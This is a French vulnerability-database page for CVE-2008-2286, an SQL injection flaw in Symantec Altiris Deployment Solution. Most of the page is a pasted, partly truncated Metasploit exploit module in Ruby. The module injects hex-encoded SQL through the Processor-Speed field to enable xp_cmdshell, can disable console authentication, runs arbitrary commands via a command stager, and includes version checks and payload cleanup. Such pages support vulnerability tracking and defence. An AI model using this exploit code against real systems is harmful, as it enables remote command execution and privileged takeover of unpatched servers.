CVE-2008-2286 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

The vulnerability exists on axengine.exe which fails to adequately sanitize numeric input fields in "UpdateComputer" notification Requests.

The module also has the capability to disable or enable local application authentication. In order to work the target system must have a tftp client available. }, 'Author' => [ 'Brett Moore', # Vulnerability discovery '3v0lver' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2008-2286' ], [ 'OSVDB', '45313' ], [ 'BID', '29198'], [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-08-024' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Targets' => [ [ 'Windows 2003 (with tftp client available)', { 'Arch' => ARCH_X86, 'Platform' => 'win' } ] ], 'Privileged' => true, 'Platform' => 'win', 'DisclosureDate' => 'May 15 2008', 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(402), OptBool.new('XP_CMDSHELL', [ true, "Enable xp_cmdshell prior to exploit", true]), OptBool.new('DISABLE_SECURITY', [ true, "Exploit SQLi to execute wc_upd_disable_security and disable Console Authentication", false ]), OptBool.new('ENABLE_SECURITY', [ true, "Enable Local Deployment Console Authentication", false ]) ], self.class) end def execute_command(cmd, opts = {}) inject=[] if @xp_shell_enable inject+=[ "#{Rex::Text.to_hex("sp_configure \"show advanced options\", 1; reconfigure",'')}", "#{Rex::Text.to_hex("sp_configure \"xp_cmdshell\", 1; reconfigure",'')}", ] @xp_shell_enable = false end if @wc_disable_security inject+=["#{Rex::Text.to_hex("wc_upd_disable_security",'')}"] @wc_disable_security = false end if @wc_enable_security inject+=["#{Rex::Text.to_hex("wc_upd_enable_security",'')}"] @wc_enable_security = false end inject+=["#{Rex::Text.to_hex("master.dbo.xp_cmdshell \'cd %TEMP% && cmd.exe /c #{cmd}\'",'')}"] if cmd != nil inject.each do |sqli| send_update_computer("2659, null, null;declare @querya VARCHAR(255);select @querya = 0x#{sqli};exec(@querya);--") end end def send_update_computer(processor_speed) notification = %Q|Request=UpdateComputer OS-Bit=32 CPU-Arch=x86 IP-Address=192.168.20.107 MAC-Address=005056C000AB Name=Remove_test OS=Windows XP Version=2.6-38 (32-Bit) LoggedIn=Yes Boot-Env=Automation Platform=Linux Agent-Settings=Same Sys-Info-TimeZoneBias=0 Processor=Genuine Intel Intel(R) Core(TM) i7 CPU M 620 @ 2.67GHz Processor-Speed=#{processor_speed} \x00 | connect sock.put(notification) response = sock.get_once() disconnect return response end def check res = send_update_computer("2659") unless res and res =~ /Result=Success/ and res=~ /DSVersion=(.*)/ return Exploit::CheckCode::Unknown end version = $1 unless version =~ /^6\.(\d+)\.(\d+)$/ return Exploit::CheckCode::Safe end print_status "#{rhost}:#{rport} - Altiris DS Version '#{version}'" minor = $1.to_i build = $2.to_i if minor == 8 if build == 206 || build == 282 || build == 378 return Exploit::CheckCode::Vulnerable elsif build < 390 return Exploit::CheckCode::Appears end elsif minor == 9 and build < 176 #The existence of versions matching this profile is a possibility... none were observed in the wild though #as such, we're basing confidence off of Symantec's vulnerability bulletin. return Exploit::CheckCode::Appears end return Exploit::CheckCode::Safe end def exploit @wc_disable_security = datastore['DISABLE_SECURITY'] @wc_enable_security = datastore['ENABLE_SECURITY'] @xp_shell_enable = datastore['XP_CMDSHELL'] # CmdStagerVBS was tested here as well, however delivery took roughly # 30 minutes and required sending almost 350 notification messages. # size constraint requirement for SQLi is: linemax => 393 execute_cmdstager({ :delay => 1.5, :temp => '%TEMP%\\'}) end def on_new_session(client) return if not payload_exe #can't scrub dropped payload while the process is still active so... #iterate through process list, find our process and the associated #parent process ID, Kill the parent. #This module doesn't use FileDropper because of timing issues when #using migrate -f and FileDropper.
